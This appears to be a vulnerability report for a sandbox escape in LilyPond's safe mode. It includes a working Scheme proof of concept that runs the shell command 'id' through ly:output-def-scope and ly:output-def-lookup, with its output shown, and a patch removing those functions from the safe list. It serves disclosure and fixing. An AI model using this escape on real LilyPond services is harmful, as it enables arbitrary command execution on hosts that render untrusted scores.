I discovered a sandbox escape in LilyPond's safe mode.
A previous version of this task description showed a PoC which did not work on 2.18. This PoC is confirmed to work on 2.18 and git master:
{ \relative { c' } } #(begin (define location 1) (display "With output-def-scope\n") (eval '(system "id") (ly:output-def-scope #{ \midi {} #})) (display "With output-def-lookup\n") ((ly:output-def-lookup #{ \midi {} #} 'system) "id") )
With -dsafe this will show shell execution on stdout:
Parsing...With output-def-scope uid=1000(tstarling) gid=1000(tstarling) groups=1000(tstarling) With output-def-lookup uid=1000(tstarling) gid=1000(tstarling) groups=1000(tstarling)
output-def-scope provides access to a module object created by the parser. It's created outside the sandbox and so inherits all top-level bindings, giving you access to all Scheme functions outside the sandbox.
output-def-lookup provides access to any binding within that module.
Suggested patch:
diff --git a/scm/safe-lily.scm b/scm/safe-lily.scm index 25209e5a0b..100e5cdae6 100644 --- a/scm/safe-lily.scm +++ b/scm/safe-lily.scm @@ -102,8 +102,6 @@ ly:number->string ly:option-usage ly:output-def-clone - ly:output-def-lookup - ly:output-def-scope ly:output-description ly:paper-book? ly:prob-property